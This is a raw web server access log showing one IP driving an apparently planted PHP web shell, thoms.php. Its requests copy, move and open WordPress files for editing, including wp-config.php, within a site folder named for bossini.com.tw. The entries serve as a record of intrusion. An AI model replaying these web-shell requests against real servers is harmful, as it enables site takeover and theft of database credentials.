45.135.193.11 - - [11/Sep/2026:23:30:05 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-load.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-load.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:05 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-load.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11864 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-load.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:05 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-load.php&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-load.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:05 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-load.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11358 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-load.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:05 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-login.php&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-login.php&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:05 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 20042 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-load.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:05 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-login.php&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-login.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:05 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-login.php&p= HTTP/1.1" 200 12343 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-login.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:05 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 20056 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-login.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:05 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-login.php&p=bossini.com.tw%2F.well-known HTTP/1.1" 200 11390 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-login.php&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:05 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-login.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 11352 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-login.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:05 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-login.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-login.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:05 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-login.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11859 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-login.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:05 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-login.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-login.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:05 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-login.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11345 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-login.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:05 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22240 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-login.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:06 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-login.php&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-login.php&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:06 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-login.php&finish=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-login.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:06 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fthoms.php&p= HTTP/1.1" 200 12339 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fthoms.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:06 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 20215 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-login.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:06 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fthoms.php&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fthoms.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:06 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fthoms.php&p=bossini.com.tw%2F.well-known HTTP/1.1" 200 11394 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fthoms.php&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:06 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fthoms.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fthoms.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:06 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 20214 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fthoms.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:06 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fthoms.php&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fthoms.php&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:06 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22259 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fthoms.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:06 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fthoms.php&finish=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fthoms.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:06 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fthoms.php&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fthoms.php&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:06 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 20300 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fthoms.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:06 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fthoms.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fthoms.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:06 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fthoms.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 11350 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fthoms.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:06 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fthoms.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11359 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fthoms.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:06 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fthoms.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11415 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fthoms.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:07 -0400] "GET /thoms.php?edit=wp-trackback.php&env=ace&p=bossini.com.tw HTTP/1.1" 200 17443 "http://163.245.207.76:443/thoms.php?edit=wp-trackback.php&env=ace&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:07 -0400] "GET /thoms.php?edit=wp-trackback.php&p=bossini.com.tw HTTP/1.1" 200 13864 "http://163.245.207.76:443/thoms.php?edit=wp-trackback.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:07 -0400] "GET /thoms.php?edit=index.php&p=bossini.com.tw HTTP/1.1" 200 11802 "http://163.245.207.76:443/thoms.php?edit=index.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:07 -0400] "GET /thoms.php?edit=index.php&env=ace&p=bossini.com.tw HTTP/1.1" 200 15428 "http://163.245.207.76:443/thoms.php?edit=index.php&env=ace&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:07 -0400] "GET /thoms.php?edit=locoy.php&p=bossini.com.tw HTTP/1.1" 200 12723 "http://163.245.207.76:443/thoms.php?edit=locoy.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:07 -0400] "GET /thoms.php?edit=locoy.php&env=ace&p=bossini.com.tw HTTP/1.1" 200 16318 "http://163.245.207.76:443/thoms.php?edit=locoy.php&env=ace&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:07 -0400] "GET /thoms.php?edit=wp-blog-header.php&env=ace&p=bossini.com.tw HTTP/1.1" 200 15424 "http://163.245.207.76:443/thoms.php?edit=wp-blog-header.php&env=ace&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:07 -0400] "GET /thoms.php?edit=wp-blog-header.php&p=bossini.com.tw HTTP/1.1" 200 11796 "http://163.245.207.76:443/thoms.php?edit=wp-blog-header.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:07 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-blog-header.php&finish=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-blog-header.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:07 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-blog-header.php&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-blog-header.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:07 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 20468 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-blog-header.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:07 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 20469 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-blog-header.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:07 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-blog-header.php&p=bossini.com.tw%2Fbridge-archive HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-blog-header.php&p=bossini.com.tw%2Fbridge-archive" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:07 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-blog-header.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-blog-header.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:07 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-blog-header.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:07 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-blog-header.php&p=bossini.com.tw%2Fcgi-bin HTTP/1.1" 200 11363 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-blog-header.php&p=bossini.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:08 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-blog-header.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-blog-header.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:08 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-blog-header.php&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-blog-header.php&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:08 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-blog-header.php&p=bossini.com.tw%2Fupgrade HTTP/1.1" 200 11350 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-blog-header.php&p=bossini.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:08 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-blog-header.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-blog-header.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:08 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-blog-header.php&p=bossini.com.tw%2F.well-known HTTP/1.1" 200 11395 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-blog-header.php&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:08 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-blog-header.php&p= HTTP/1.1" 200 12344 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-blog-header.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:08 -0400] "GET /bossini.com.tw/.well-known/?ND= HTTP/1.1" 200 780 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:08 -0400] "GET /bossini.com.tw/.well-known/?SA= HTTP/1.1" 200 780 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:08 -0400] "GET /bossini.com.tw/.well-known/acme-challenge/ HTTP/1.1" 200 701 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:08 -0400] "GET /thoms.php?edit=wp-config.php&p=bossini.com.tw HTTP/1.1" 200 13465 "http://163.245.207.76:443/thoms.php?edit=wp-config.php&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:08 -0400] "GET /bossini.com.tw/.well-known/?MA= HTTP/1.1" 200 780 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:08 -0400] "GET /thoms.php?edit=wp-config.php&env=ace&p=bossini.com.tw HTTP/1.1" 200 17041 "http://163.245.207.76:443/thoms.php?edit=wp-config.php&env=ace&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:08 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-settings.php&finish=1&move=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-settings.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:08 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-settings.php&p=bossini.com.tw%2Ftransfer-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-settings.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:08 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-settings.php&p=bossini.com.tw%2Fwp-content HTTP/1.1" 200 11464 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-settings.php&p=bossini.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-settings.php&p=bossini.com.tw%2Ftransfer-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:08 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-settings.php&p=bossini.com.tw%2Fwp-includes HTTP/1.1" 200 11868 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-settings.php&p=bossini.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:08 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 20466 "https://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-settings.php&finish=1&move=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:09 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-settings.php&p= HTTP/1.1" 200 12303 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-settings.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:09 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-settings.php&finish=1&p=bossini.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-settings.php&finish=1&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:09 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-settings.php&p=bossini.com.tw%2F.well-known HTTP/1.1" 200 11402 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-settings.php&p=bossini.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
